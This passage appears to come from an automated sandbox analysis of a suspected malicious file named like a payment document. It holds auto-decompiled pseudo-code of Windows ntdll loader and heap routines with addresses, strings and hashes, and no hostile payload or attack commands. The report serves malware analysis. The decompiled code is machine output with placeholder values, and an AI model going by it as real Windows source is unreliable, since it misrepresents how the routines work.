								return _t128;
							}
							L33466CC0(_t127, L"VerifierFlags", "true",  &_v24, "true", 0);
							_t52 = _v48;
							__eflags = _t52;
							if(_t52 == 0) {
								_t52 =  *0x33565a74; // 0x0
								goto L40;
							}
							 *0x33565a74 = _t52;
							goto L42;
						}
					}
					_t128 = 0xc000000d;
					goto L49;
				}
				if(_t50 != 1) {
					L25:
					_t128 = _t97;
					goto L49;
				}
				 *0x33565244 = 0x33565240;
				 *0x33565240 = 0x33565240;
				_t128 = E3349FBC0(0x33565220, 0, 0);
				if(_t128 < 0) {
					goto L49;
				}
				if( *0x33569234 == 2) {
					_v29 = 0;
					_t128 = L33491934(0x33565308, 0,  &_v29);
					__eflags = _t128;
					if(_t128 < 0) {
						goto L49;
					}
					goto L25;
				}
				_push( *0x33565a74);
				_push( *((intOrPtr*)( *[fs:0x18] + 0x20)));
				_t69 =  *0x33565d8c; // 0x3142d38
				_t8 = _t69 + 0x30; // 0x3141d08
				L334FEF10(0x5d, 0, "AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled\n",  *_t8);
				if(E334F9429(_t115) >= 0) {
					_t130 =  *0x33565240; // 0x0
					while(1) {
						__eflags = _t130 - 0x33565240;
						if(__eflags == 0) {
							break;
						}
						_t71 = E334F919C(_t97, _t130, 0x33565240, _t130, __eflags);
						__eflags = _t71;
						if(_t71 == 0) {
							_t128 = 0xc0000142;
							goto L49;
						} else {
							_t130 =  *_t130;
							continue;
						}
					}
					E334F8B5E(_t71);
					_t108 = 0x33441b88;
					_t128 = E3348F380(0x33441b88, 0, _t97,  &_v20, _t97);
					__eflags = _t128;
					if(_t128 < 0) {
						__eflags = _t128 - 0xc0000135;
						if(_t128 != 0xc0000135) {
							goto L49;
						}
						_t131 =  *0x33565278; // 0x0
						L15:
						_t76 = L3348CF00(_t108, 0, _t131, 0x33441b90, 0,  &_v16, 1, _v0);
						L334A1D66(_t108, 0, 0);
						__eflags = _t76;
						if(_t76 >= 0) {
							_t88 =  *0x7ffe0330;
							_t108 = _t88 & 0x0000001f;
							__eflags = _t88 & 0x0000001f;
							asm("ror eax, cl");
							 *0x33569238 = _t88 ^ _v16;
							 *0x33569230 = 1;
						}
						 *0x33569231 = 1;
						 *0x33569232 = 1;
						E334F964A(L334A1D66(_t108, 0, 1));
						_t124 =  *0x33565240; // 0x0
						_t97 = 0;
						__eflags = 0;
						while(1) {
							__eflags = _t124 - 0x33565240;
							if(_t124 == 0x33565240) {
								break;
							}
							_v30 = _t97;
							_t128 = L33491934( *((intOrPtr*)( *((intOrPtr*)(_t124 + 0x10)) + 0x50)), 0,  &_v30);
							__eflags = _t128;
							if(_t128 < 0) {
								goto L49;
							}
							_t124 =  *_t124;
						}
						__eflags =  *0x335669dc & 0x00000008;
						if(( *0x335669dc & 0x00000008) != 0) {
							_push("AVRF: -*- final list of providers -*- \n");
							L334F8EB8(L3346B910());
						}
						L334F9818();
						E3347E580("true",  *((intOrPtr*)(_v12 + 8)), _t97, _t97,  &_v28);
						goto L25;
					}
					_t108 = _v20;
					_t131 =  *((intOrPtr*)(_v20 + 0x18));
					E3348D3E1(_t97, _v20,  *((intOrPtr*)(_v20 + 0x18)));
					goto L15;
				} else {
					_push( *((intOrPtr*)( *[fs:0x18] + 0x20)));
					_t92 =  *0x33565d8c; // 0x3142d38
					_t10 = _t92 + 0x30; // 0x3141d08
					L334FEF10(0x5d, 0, "AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.\n",  *_t10);
					_t128 = 0xc0000001;
					 *( *[fs:0x30] + 0x68) =  *( *[fs:0x30] + 0x68) & 0xfffffeff;
					goto L49;
				}
			}

0x334f8633
0x334f8633
0x334f8642
0x334f8644
0x334f8648
0x334f864d
0x334f8654
0x334f8658
0x334f865c
0x334f8661
0x334f8663
0x334f8861
0x334f8864
0x334f8866
0x334f8872
0x334f8877
0x334f887e
0x334f8886
0x334f888b
0x334f888f
0x334f8891
0x334f8893
0x334f8893
0x334f8880
0x334f8880
0x334f8880
0x334f889b
0x334f88a2
0x334f88ac
0x334f88ac
0x00000000
0x334f88a4
0x334f88a4
0x334f88a6
0x00000000
0x00000000
0x334f88a8
0x334f88b1
0x334f88b1
0x334f88b6
0x334f88bb
0x334f88c2
0x334f88c4
0x334f88ef
0x334f88ef
0x334f88f4
0x334f88f6
0x334f88f6
0x334f88fc
0x334f88fc
0x334f88fe
0x334f8900
0x334f8902
0x334f8915
0x334f8915
0x334f892b
0x334f8943
0x334f8943
0x334f8948
0x334f895f
0x334f8961
0x334f8963
0x334f8965
0x334f8970
0x334f8972
0x334f8974
0x334f8978
0x334f8982
0x334f8987
0x334f8987
0x334f8974
0x334f898c
0x334f8994
0x334f8994
0x334f88d6
0x334f88db
0x334f88df
0x334f88e1
0x334f88ea
0x00000000
0x334f88ea
0x334f88e3
0x00000000
0x334f88e3
0x334f88a2
0x334f8868
0x00000000
0x334f8868
0x334f866c
0x334f885a
0x334f885a
0x00000000
0x334f885a
0x334f867e
0x334f8684
0x334f868f
0x334f8693
0x00000000
0x00000000
0x334f86a0
0x334f883f
0x334f8850
0x334f8852
0x334f8854
0x00000000
0x00000000
0x00000000
0x334f8854
0x334f86a6
0x334f86b2
0x334f86b5
0x334f86ba
0x334f86c5
0x334f86d4
0x334f8719
0x334f872e
0x334f872e
0x334f8730
0x00000000
0x00000000
0x334f8723
0x334f8728
0x334f872a
0x334f875e
0x00000000
0x334f872c
0x334f872c
0x00000000
0x334f872c
0x334f872a
0x334f8732
0x334f8740
0x334f874a
0x334f874c
0x334f874e
0x334f8768
0x334f876e
0x00000000
0x00000000
0x334f8774
0x334f877a
0x334f878e
0x334f8797
0x334f879c
0x334f879e
0x334f87a0
0x334f87ab
0x334f87ab
0x334f87ae
0x334f87b0
0x334f87b5
0x334f87b5
0x334f87bc
0x334f87c2
0x334f87cd
0x334f87d2
0x334f87d8
0x334f87d8
0x334f87da
0x334f87da
0x334f87e0
0x00000000
0x00000000
0x334f87ec
0x334f87f8
0x334f87fa
0x334f87fc
0x00000000
0x00000000
0x334f8802
0x334f8802
0x334f8806
0x334f880d
0x334f880f
0x334f881a
0x334f881a
0x334f881f
0x334f8834
0x00000000
0x334f8834
0x334f8750
0x334f8754
0x334f8757
0x00000000
0x334f86d6
0x334f86dc
0x334f86df
0x334f86e4
0x334f86ef
0x334f86fd
0x334f8711
0x00000000
0x334f8711

Strings

HandleTraces, xrefs: 334F890F
VerifierDlls, xrefs: 334F893D
VerifierDebug, xrefs: 334F8925
AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled, xrefs: 334F86BD
AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error., xrefs: 334F86E7
VerifierFlags, xrefs: 334F88D0
AVRF: -*- final list of providers -*- , xrefs: 334F880F

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: AVRF: %ws: pid 0x%X: application verifier will be disabled due to an initialization error.$AVRF: %ws: pid 0x%X: flags 0x%X: application verifier enabled$AVRF: -*- final list of providers -*- $HandleTraces$VerifierDebug$VerifierDlls$VerifierFlags
API String ID: 0-3223716464
Opcode ID: 51c5ceb217be42e0d3b54cd2a98279ab2a9e738017de7ce41228057e736f6ac6
Instruction ID: 3c0965e037759543ab4be17306c6159c0ca5d3a766bbb4e9d4387648fea89e39
Opcode Fuzzy Hash: 51c5ceb217be42e0d3b54cd2a98279ab2a9e738017de7ce41228057e736f6ac6
Instruction Fuzzy Hash: 1D911FB2A41715AFE311DF28C880F1AB7E8AB40759F4D095CF990AF751C7329816CB9E

Uniqueness

Uniqueness Score: -1.00%

Function 3349237A Relevance: 8.9, APIs: 1, Strings: 4, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 35%

			E3349237A(intOrPtr* __ecx, void* __edx) {
				char _v8;
				signed int _v12;
				intOrPtr* _v16;
				void* __ebx;
				intOrPtr _t22;
				intOrPtr _t29;
				signed int _t30;
				signed char _t36;
				intOrPtr _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t48;
				signed int _t50;
				intOrPtr* _t51;
				signed int _t53;
				signed int _t55;
				void* _t59;

				_t38 =  *0x335638b8;
				_t50 = 0;
				_v16 = __ecx;
				_v12 = 0;
				_t55 = 0;
				if(_t38 == 0) {
					L2:
					if(_t38 == 1) {
						_t22 =  *0x335668d8; // 0x0
						if(_t22 != 0) {
							E33483BC0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50, _t22);
							 *0x335668d8 = _t50;
							 *0x33565d4c = _t50;
						}
					}
					 *0x335638b8 = _t38;
					return _t55;
				}
				_t59 =  *0x335668d8 - _t55; // 0x0
				if(_t59 != 0) {
					 *0x335638b8 = 0;
					_t55 = E334F1BB6(_t38,  &_v8);
					if(_t55 >= 0) {
						_t51 =  *0x335668d8; // 0x0
						while( *_t51 != 0) {
							 *0x335691e0(_t51, 0, "true", "true", 0, "true", 0x10);
							_v8();
							if(0 == 0) {
								_t55 = 0xc0000142;
								L21:
								_t50 = 0;
								goto L2;
							}
							_t42 = _t51;
							_t48 = _t42 + 2;
							do {
								_t29 =  *_t42;
								_t42 = _t42 + 2;
							} while (_t29 != _v12);
							_t51 = _t51 + (_t42 - _t48 >> 1) * 2 + 2;
						}
						_t30 =  *0x7ffe0330;
						_t53 =  *0x33569218; // 0x0
						_v12 = _t30;
						_t45 = 0x20;
						_t46 = _t45 - (_t30 & 0x0000001f);
						asm("ror edi, cl");
						L3347FED0(0x335632d8);
						if( *0x335665f4 < 3) {
							_t46 = _v16;
							if(( *( *_v16 - 0x20) & 0x00000800) == 0) {
								E33466704(_t46, _t53 ^ _v12);
							}
						}
						_push(0x335632d8);
						E3347E740(_t46);
						goto L21;
					}
					_t36 =  *0x335637c0; // 0x0
					if((_t36 & 0x00000003) != 0) {
						E334EE692("minkernel\\ntdll\\ldrinit.c", 0xba1, "LdrpDynamicShimModule", 0, "Getting ApphelpCheckModule failed with status 0x%08lx\n", _t55);
						_t36 =  *0x335637c0; // 0x0
					}
					if((_t36 & 0x00000010) != 0) {
						asm("int3");
					}
					_t55 = _t50;
				}
				goto L2;
			}

0x33492383
0x3349238b
0x3349238d
0x33492390
0x33492393
0x33492397
0x334923a5
0x334923a8
0x334923aa
0x334923b1
0x334da878
0x334da87d
0x334da883
0x334da883
0x334923b1
0x334923ba
0x334923c3
0x334923c3
0x33492399
0x3349239f
0x334da784
0x334da78f
0x334da793
0x334da7cd
0x334da80b
0x334da7e3
0x334da7e9
0x334da7ee
0x334da866
0x334da85f
0x334da85f
0x00000000
0x334da85f
0x334da7f0
0x334da7f2
0x334da7f5
0x334da7f5
0x334da7f8
0x334da7fb
0x334da808
0x334da808
0x334da812
0x334da817
0x334da81f
0x334da825
0x334da826
0x334da82d
0x334da82f
0x334da83b
0x334da83d
0x334da849
0x334da850
0x334da850
0x334da849
0x334da855
0x334da85a
0x00000000
0x334da85a
0x334da795
0x334da79c
0x334da7b4
0x334da7b9
0x334da7be
0x334da7c3
0x334da7c5
0x334da7c5
0x334da7c6
0x334da7c6
0x00000000

Strings

DGD3, xrefs: 33492382
LdrpDynamicShimModule, xrefs: 334DA7A5
Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 334DA79F
minkernel\ntdll\ldrinit.c, xrefs: 334DA7AF

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID:
String ID: DGD3$Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$minkernel\ntdll\ldrinit.c
API String ID: 0-202661764
Opcode ID: 16a51c1541c8da434b1e1f96c55ee9ded0b43960a057b6708b7049546080b21d
Instruction ID: 458a64dcf9c18ff602fa18cdac6d0ccd0a95df8dbdec1cd0873bab151c7fe87e
Opcode Fuzzy Hash: 16a51c1541c8da434b1e1f96c55ee9ded0b43960a057b6708b7049546080b21d
Instruction Fuzzy Hash: 4131E176A01201AFF710AF6DC894E9A77F8EB84B44F18105DF911A7762DBB09943CB94

Uniqueness

Uniqueness Score: -1.00%

Function 3346F113 Relevance: 8.2, Strings: 6, Instructions: 684
COMMONCrypto

Download Yara Rule

C-Code - Quality: 64%

			E3346F113(signed int __ecx, signed int __edx, signed int _a4, char _a8) {
				char _v8;
				signed short _v12;
				signed short _v16;
				signed int _v20;
				signed int _v24;
				signed short _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				unsigned int _v52;
				void* _v56;
				intOrPtr _v60;
				void* _v68;
				void* _v72;
				void* __ebx;
				void* __edi;
				void* __ebp;
				unsigned int _t242;
				signed char _t243;
				signed short _t245;
				signed int _t247;
				signed int _t250;
				signed int _t251;
				signed int _t252;
				intOrPtr _t255;
				signed int _t265;
				signed int _t274;
				signed int _t277;
				intOrPtr _t278;
				signed int _t279;
				signed int _t302;
				signed short _t308;
				intOrPtr _t312;
				signed int _t323;
				signed int _t328;
				signed int _t331;
				intOrPtr _t332;
				signed int _t334;
				signed int _t336;
				signed int _t337;
				signed int _t340;
				intOrPtr _t341;
				intOrPtr _t350;
				signed int _t354;
				signed int _t357;
				intOrPtr _t358;
				signed int _t359;
				signed int _t378;
				signed short _t386;
				intOrPtr _t388;
				intOrPtr _t399;
				unsigned int _t415;
				signed int _t424;
				signed int _t427;
				signed int _t431;
				signed int _t439;
				signed short _t440;
				signed short _t443;
				signed int _t447;
				signed short* _t453;
				void* _t461;
				signed int _t472;
				signed int _t473;
				signed int _t475;
				intOrPtr _t476;
				signed int _t483;
				void* _t485;
				signed short _t496;
				unsigned int _t502;
				unsigned int _t504;
				signed int _t509;
				signed int _t514;
				signed short* _t524;
				signed int _t535;
				signed int _t537;
				signed int _t540;
				unsigned int _t545;
				signed int _t547;

				_t444 = __ecx;
				_t547 = __ecx;
				_t533 = __edx;
				_v28 = 0;
				_v40 = 0;
				if(( *(__ecx + 0xcc) ^  *0x33566d48) != 0) {
					_push(_a4);
					_t509 = __edx;
					L11:
					_t242 = E33480B10(_t444, _t509);
					L7:
					return _t242;
				}
				if(_a8 != 0) {
					__eflags =  *(__edx + 2) & 0x00000008;
					if(( *(__edx + 2) & 0x00000008) != 0) {
						 *((intOrPtr*)(__ecx + 0x240)) =  *((intOrPtr*)(__ecx + 0x240)) - 1;
						_t424 = L3346F858(__edx,  &_v12,  &_v16);
						__eflags = _t424;
						if(_t424 != 0) {
							_t135 = _t547 + 0x244;
							 *_t135 =  *(_t547 + 0x244) - _v16;
							__eflags =  *_t135;
						}
					}
					_t439 = _a4;
					_t509 = _t533;
					_v44 = _t533;
					L14:
					_t243 =  *((intOrPtr*)(_t533 + 6));
					__eflags = _t243;
					if(_t243 == 0) {
						_t535 = _t547;
					} else {
						_t535 = (_t533 & 0xffff0000) - ((_t243 & 0x000000ff) << 0x10) + 0x10000;
						__eflags = _t535;
					}
					_t245 = 7 + _t439 * 8 + _t509;
					_v12 = _t245;
					__eflags =  *_t245 - 3;
					if( *_t245 == 3) {
						_v16 = _t509 + _t439 * 8 + 8;
						L33469E69(_t547, _t509 + _t439 * 8 + 8);
						_t496 = _v16;
						_v28 =  *(_t496 + 0x10);
						 *((intOrPtr*)(_t535 + 0x30)) =  *((intOrPtr*)(_t535 + 0x30)) - 1;
						_v36 =  *(_t496 + 0x14);
						 *((intOrPtr*)(_t535 + 0x2c)) =  *((intOrPtr*)(_t535 + 0x2c)) - ( *(_t496 + 0x14) >> 0xc);
						 *((intOrPtr*)(_t547 + 0x1f8)) =  *((intOrPtr*)(_t547 + 0x1f8)) +  *(_t496 + 0x14);
						 *((intOrPtr*)(_t547 + 0x208)) =  *((intOrPtr*)(_t547 + 0x208)) - 1;
						_t415 =  *(_t496 + 0x14);
						__eflags = _t415 - 0x7f000;
						if(_t415 >= 0x7f000) {
							 *(_t547 + 0x1fc) =  *(_t547 + 0x1fc) - _t415;
							_t415 =  *(_t496 + 0x14);
						}
						_t509 = _v44;
						_t439 = _t439 + (_t415 >> 3) + 0x20;
						__eflags = 1;
						_a4 = _t439;
						_v40 = 1;
					} else {
						_v36 = _v36 & 0x00000000;
					}
					__eflags =  *((intOrPtr*)(_t547 + 0x54)) -  *((intOrPtr*)(_t509 + 4));
					if( *((intOrPtr*)(_t547 + 0x54)) ==  *((intOrPtr*)(_t509 + 4))) {
						_v48 = _t509;
						_t247 = L3346BF92(_t535, _t509);
						__eflags = _a8;
						_v32 = _t247;
						if(_a8 != 0) {
							__eflags = _t247;
							if(_t247 == 0) {
								goto L20;
							}
						}
						__eflags =  *0x33566960 - 1;
						if( *0x33566960 >= 1) {
							__eflags = _t247;
							if(_t247 == 0) {
								_t399 =  *[fs:0x30];
								__eflags =  *(_t399 + 0xc);
								if( *(_t399 + 0xc) == 0) {
									_push("HEAP: ");
									L3346B910();
								} else {
									L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
								}
								_push("(UCRBlock != NULL)");
								L3346B910();
								__eflags =  *0x33565da8;
								if( *0x33565da8 == 0) {
									__eflags = 0;
									L3352FC95(_t439, 1, _t535, 0);
								}
								_t509 = _v44;
								_t439 = _a4;
							}
						}
						_t334 = _v40;
						_t472 = _t439 << 3;
						_v20 = _t472;
						_t473 = _t472 + _t509;
						_v24 = _t473;
						__eflags = _t334;
						if(_t334 == 0) {
							_t473 = _t473 + 0xfffffff0;
						}
						_t475 = (_t473 & 0xfffff000) - _v48;
						__eflags = _t475;
						_v52 = _t475;
						if(_t475 == 0) {
							__eflags =  *0x33566960 - 1;
							if( *0x33566960 < 1) {
								goto L9;
							}
							__eflags = _t334;
							L147:
							if(__eflags == 0) {
								goto L9;
							}
							_t255 =  *[fs:0x30];
							__eflags =  *(_t255 + 0xc);
							if( *(_t255 + 0xc) == 0) {
								_push("HEAP: ");
								L3346B910();
							} else {
								L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
							}
							_push("(!TrailingUCR)");
							L3346B910();
							__eflags =  *0x33565da8;
							if( *0x33565da8 == 0) {
								__eflags = 0;
								L3352FC95(_t439, 1, _t535, 0);
							}
							goto L153;
						} else {
							_t336 = L3346FABA( &_v48,  &_v52, 0x4000);
							__eflags = _t336;
							if(_t336 < 0) {
								L90:
								 *((intOrPtr*)(_t547 + 0x220)) =  *((intOrPtr*)(_t547 + 0x220)) + 1;
								__eflags = _v40;
								if(_v40 == 0) {
									L154:
									_t509 = _v44;
									L9:
									_t444 = _t547;
									L10:
									_push(_t439);
									goto L11;
								}
								L3348096B(_t547, _t535, _v28 + 0xffffffe8, _v36, _v44,  &_a4);
								L153:
								_t439 = _a4;
								goto L154;
							}
							_t337 = L33483C40();
							_t441 = 0x7ffe0380;
							__eflags = _t337;
							if(_t337 != 0) {
								_t340 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t340 = 0x7ffe0380;
							}
							__eflags =  *_t340;
							if( *_t340 != 0) {
								_t341 =  *[fs:0x30];
								__eflags =  *(_t341 + 0x240) & 0x00000001;
								if(( *(_t341 + 0x240) & 0x00000001) != 0) {
									E3352F13E(_t441, _t547, _v48, _v52, "true");
								}
							}
							_t342 = _v32;
							 *((intOrPtr*)(_t547 + 0x210)) =  *((intOrPtr*)(_t547 + 0x210)) + 1;
							_t476 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t476 - 0x7f000;
							if(_t476 >= 0x7f000) {
								 *(_t547 + 0x1fc) =  *(_t547 + 0x1fc) - _t476;
							}
							L33469E69(_t547, _t342);
							_t478 = _v32;
							 *((intOrPtr*)(_v32 + 0x14)) =  *((intOrPtr*)(_v32 + 0x14)) + _v52;
							L3346B9F6(_t547, _t478);
							 *((intOrPtr*)(_t535 + 0x2c)) =  *((intOrPtr*)(_t535 + 0x2c)) + (_v52 >> 0xc);
							 *((intOrPtr*)(_t547 + 0x1f8)) =  *((intOrPtr*)(_t547 + 0x1f8)) - _v52;
							_t350 =  *((intOrPtr*)(_v32 + 0x14));
							__eflags = _t350 - 0x7f000;
							if(_t350 >= 0x7f000) {
								_t123 = _t547 + 0x1fc;
								 *_t123 =  *(_t547 + 0x1fc) + _t350;
								__eflags =  *_t123;
							}
							__eflags = _v40;
							if(_v40 == 0) {
								_t524 = _v52 + _v48;
								_v32 = _t524;
								_t524[2] =  *((intOrPtr*)(_t547 + 0x54));
								__eflags = _v24 - _v52 + _v48;
								if(_v24 == _v52 + _v48) {
									__eflags =  *(_t547 + 0x4c);
									if( *(_t547 + 0x4c) != 0) {
										_t524[1] = _t524[1] ^ _t524[0] ^  *_t524;
										 *_t524 =  *_t524 ^  *(_t547 + 0x50);
									}
								} else {
									_t443 = 0;
									_t524[3] = 0;
									_t524[1] = 0;
									_t378 = _v20 - _v52 >> 0x00000003 & 0x0000ffff;
									_t483 = _t378;
									 *_t524 = _t378;
									__eflags =  *0x33566960 - 1; // 0x0
									if(__eflags >= 0) {
										__eflags = _t483 - 1;
										if(_t483 <= 1) {
											_t388 =  *[fs:0x30];
											__eflags =  *(_t388 + 0xc);
											if( *(_t388 + 0xc) == 0) {
												_push("HEAP: ");
												L3346B910();
											} else {
												L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("((LONG)FreeEntry->Size > 1)");
											L3346B910();
											__eflags =  *0x33565da8 - _t443; // 0x0
											if(__eflags == 0) {
												__eflags = 0;
												L3352FC95(_t443, 1, _t535, 0);
											}
											_t524 = _v32;
										}
									}
									_t524[1] = _t443;
									__eflags =  *((intOrPtr*)(_t535 + 0x18)) - _t535;
									if( *((intOrPtr*)(_t535 + 0x18)) != _t535) {
										_t386 = (_t524 - _t535 >> 0x10) + 1;
										_v16 = _t386;
										__eflags = _t386 - 0xfe;
										if(_t386 >= 0xfe) {
											_push(_t443);
											_push(_t443);
											_push(_t535);
											_push(_t524);
											_push("true");
											_pop(_t485);
											L33535FED(_t485,  *((intOrPtr*)(_t535 + 0x18)));
											_t524 = _v48;
											_t386 = _v32;
										}
										_t443 = _t386;
									}
									_t524[3] = _t443;
									E33480B10(_t547, _t524,  *_t524 & 0x0000ffff);
									_t441 = 0x7ffe0380;
								}
							}
							_t354 = L33483C40();
							__eflags = _t354;
							if(_t354 != 0) {
								_t357 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t357 = _t441;
							}
							__eflags =  *_t357;
							if( *_t357 != 0) {
								_t358 =  *[fs:0x30];
								__eflags =  *(_t358 + 0x240) & 1;
								if(( *(_t358 + 0x240) & 1) != 0) {
									__eflags = L33483C40();
									if(__eflags != 0) {
										_t441 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E3352F058(_t441, _t547, _v48, __eflags, _v52,  *(_t547 + 0x74) << 3, _v40, _v36,  *_t441 & 0x000000ff);
								}
							}
							_t359 = L33483C40();
							_t540 = 0x7ffe038a;
							_t440 = 0x230;
							__eflags = _t359;
							if(_t359 != 0) {
								_t242 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t242 = 0x7ffe038a;
							}
							__eflags =  *_t242;
							if( *_t242 != 0) {
								__eflags = L33483C40();
								if(__eflags != 0) {
									_t540 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + _t440;
									__eflags = _t540;
								}
								_push( *_t540 & 0x000000ff);
								_push(_v36);
								_push(_v40);
								L123:
								_push( *(_t547 + 0x74) << 3);
								_push(_v52);
								_t242 = E3352F058(_t440, _t547, _v48, __eflags);
							}
							goto L7;
						}
					}
					L20:
					_t447 = _t509 + 0x0000101f & 0xfffff000;
					_v48 = _t447;
					__eflags = _t447 - _t509 + 0x28;
					if(_t447 == _t509 + 0x28) {
						_t447 = _t447 + 0x1000;
						_v48 = _t447;
					}
					_t250 = _t439 << 3;
					_v24 = _t250;
					_t251 = _t250 + _t509;
					__eflags = _v40;
					_v20 = _t251;
					if(_v40 == 0) {
						_t251 = _t251 + 0xfffffff0;
					}
					_t252 = _t251 & 0xfffff000;
					__eflags = _t252 - _t447;
					if(_t252 < _t447) {
						__eflags =  *0x33566960 - 1; // 0x0
						if(__eflags < 0) {
							goto L9;
						}
						__eflags = _v40;
						goto L147;
					}
					_t265 = _t252 - _t447;
					__eflags = _a8;
					_v52 = _t265;
					if(_a8 != 0) {
						L25:
						__eflags = _t265;
						if(_t265 == 0) {
							L31:
							_t440 = 0;
							__eflags = _v40;
							if(_v40 == 0) {
								_t453 = _v48 + _v52;
								_v36 = _t453;
								_t453[2] =  *((intOrPtr*)(_t547 + 0x54));
								__eflags = _v20 - _v52 + _v48;
								if(_v20 == _v52 + _v48) {
									__eflags =  *(_t547 + 0x4c);
									if( *(_t547 + 0x4c) != 0) {
										_t453[1] = _t453[1] ^ _t453[0] ^  *_t453;
										 *_t453 =  *_t453 ^  *(_t547 + 0x50);
									}
								} else {
									_t453[3] = 0;
									_t453[1] = 0;
									_t302 = _v24 - _v52 - _v48 + _t509 >> 0x00000003 & 0x0000ffff;
									_t514 = _t302;
									 *_t453 = _t302;
									__eflags =  *0x33566960 - 1; // 0x0
									if(__eflags >= 0) {
										__eflags = _t514 - 1;
										if(_t514 <= 1) {
											_t312 =  *[fs:0x30];
											__eflags =  *(_t312 + 0xc);
											if( *(_t312 + 0xc) == 0) {
												_push("HEAP: ");
												L3346B910();
											} else {
												L3346B910("HEAP[%wZ]: ",  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x30] + 0xc)) + 0xc)) + 0x2c);
											}
											_push("(LONG)FreeEntry->Size > 1");
											L3346B910();
											__eflags =  *0x33565da8 - _t440; // 0x0
											if(__eflags == 0) {
												__eflags = 0;
												L3352FC95(_t440, 1, _t535, 0);
											}
											_t453 = _v36;
										}
									}
									_t453[1] = _t440;
									_t515 =  *((intOrPtr*)(_t535 + 0x18));
									__eflags =  *((intOrPtr*)(_t535 + 0x18)) - _t535;
									if( *((intOrPtr*)(_t535 + 0x18)) != _t535) {
										_t308 = (_t453 - _t535 >> 0x10) + 1;
										_v12 = _t308;
										__eflags = _t308 - 0xfe;
										if(_t308 >= 0xfe) {
											_push(_t440);
											_push(_t440);
											_push(_t535);
											_push(_t453);
											_push("true");
											_pop(_t461);
											L33535FED(_t461, _t515);
											_t453 = _v52;
											_t308 = _v28;
										}
									} else {
										_t308 = _t440;
									}
									_t453[3] = _t308;
									E33480B10(_t547, _t453,  *_t453 & 0x0000ffff);
								}
							}
							L3348096B(_t547, _t535, _v48 + 0xffffffe8, _v52, _v44,  &_v8);
							E33480B10(_t547, _v60, _v24);
							_t274 = L33483C40();
							_t536 = 0x7ffe0380;
							__eflags = _t274;
							if(_t274 != 0) {
								_t277 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
							} else {
								_t277 = 0x7ffe0380;
							}
							__eflags =  *_t277;
							if( *_t277 != 0) {
								_t278 =  *[fs:0x30];
								__eflags =  *(_t278 + 0x240) & 1;
								if(( *(_t278 + 0x240) & 1) != 0) {
									__eflags = L33483C40();
									if(__eflags != 0) {
										_t536 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
										__eflags =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
									}
									E3352F058(_t440, _t547, _v48, __eflags, _v52,  *(_t547 + 0x74) << 3, _t440, _t440,  *_t536 & 0x000000ff);
								}
							}
							_t279 = L33483C40();
							_t537 = 0x7ffe038a;
							__eflags = _t279;
							if(_t279 != 0) {
								_t242 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
							} else {
								_t242 = 0x7ffe038a;
							}
							__eflags =  *_t242;
							if( *_t242 == 0) {
								goto L7;
							} else {
								__eflags = L33483C40();
								if(__eflags != 0) {
									_t537 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x230;
									__eflags = _t537;
								}
								_push( *_t537 & 0x000000ff);
								_push(_t440);
								_push(_t440);
								goto L123;
							}
						}
						 *((intOrPtr*)(_t547 + 0x210)) =  *((intOrPtr*)(_t547 + 0x210)) + 1;
						_t323 = L3346FABA( &_v48,  &_v52, 0x4000);
						__eflags = _t323;
						if(_t323 < 0) {
							goto L90;
						}
						_t328 = L33483C40();
						__eflags = _t328;
						if(_t328 != 0) {
							_t331 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
						} else {
							_t331 = 0x7ffe0380;
						}
						__eflags =  *_t331;
						if( *_t331 != 0) {
							_t332 =  *[fs:0x30];
							__eflags =  *(_t332 + 0x240) & 1;
							if(( *(_t332 + 0x240) & 1) != 0) {
								E3352F13E(_t439, _t547, _v48, _v52, "true");
							}
						}
						_t509 = _v44;
						goto L31;
					}
					__eflags =  *_v12 - 3;
					if( *_v12 != 3) {
						__eflags = _t265;
